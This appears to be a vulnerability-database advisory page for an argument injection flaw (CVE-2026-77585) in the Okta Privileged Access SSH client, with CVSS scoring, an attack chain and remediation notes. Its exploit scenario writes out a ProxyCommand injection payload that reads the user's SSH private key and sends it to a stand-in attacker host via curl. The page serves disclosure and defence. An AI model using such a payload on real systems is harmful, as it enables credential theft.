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Okta Privileged Access CVE-2026-77585

| EUVDEUVD-2026-65962 MEDIUM
OS Command Injection (CWE-78)
2026-08-25 psirt@okta.com GHSA-vxp6-p2w9-m3hj
5.3
CVSS 3.1 · Vendor: okta
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Severity by source

Vendor (okta) PRIMARY
5.3 MEDIUM
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N
vuln.today AI
5.0 MEDIUM

AV:L for client-side application; PR:L because influencing OPA target definitions requires application-level access; UI:R and AC:H reflect user-initiated connection and multi-condition prerequisites.

3.1 AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:L/A:N
4.0 AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (okta).

CVSS VectorVendor: okta

CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N
Attack Vector
Local
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch available
Aug 25, 2026 - 22:04 EUVD
Analysis Generated
Aug 25, 2026 - 20:31 vuln.today

DescriptionCVE.org

The Okta Privileged Access client does not reject a leading hyphen in the username portion of an SSH target. As a result, the value may be interpreted as a command-line option by the underlying SSH process.

AnalysisAI

Argument injection in the Okta Privileged Access client allows a crafted SSH target username beginning with a hyphen to be interpreted as a command-line option by the underlying SSH subprocess. Organizations using Okta Privileged Access for SSH session brokering are affected when a user initiates a connection to a target whose username has been set to a hyphen-prefixed value. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain OPA target configuration access
Delivery
Create SSH target with hyphen-prefixed username
Exploit
Induce user to initiate SSH session via OPA client
Execution
Client passes unsanitized username to SSH subprocess
Persist
SSH interprets value as CLI option
Impact
Injected option executes attacker-controlled behavior

Vulnerability AssessmentAI

Exploitation Exploitation requires that an attacker be able to influence the SSH target username presented to the Okta Privileged Access client - the most direct path is having sufficient permissions within the Okta Privileged Access console to create or modify SSH target definitions (an application-level privilege, not a local OS privilege). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The vendor-assigned CVSS 3.1 score of 5.3 Medium reflects several mitigating factors that meaningfully suppress real-world exploitability despite the C:H impact rating. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with sufficient Okta Privileged Access permissions creates or modifies an SSH target definition, setting the username field to a hyphen-prefixed value such as '-oProxyCommand=/bin/bash -c "curl attacker.com/$(cat ~/.ssh/id_rsa | base64)"'. When a legitimate user subsequently opens an SSH session to that target through the Okta Privileged Access client, the client passes the malformed username directly to the SSH subprocess, which interprets it as a ProxyCommand option and executes the injected command in the context of the user's local session. …
Remediation The primary remediation is to upgrade the Okta Privileged Access client to the version identified as fixed in the Okta PSIRT advisory at https://trust.okta.com/security-advisories/improper-validation-ssh-target-in-okta-privileged-access-client-cve-2026-77585 - the exact patched version number is not confirmed in the available input data and should be verified directly from the advisory before deployment. … Detailed patch versions, workarounds, and compensating controls in full report.

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CVE-2026-77585 vulnerability details – vuln.today

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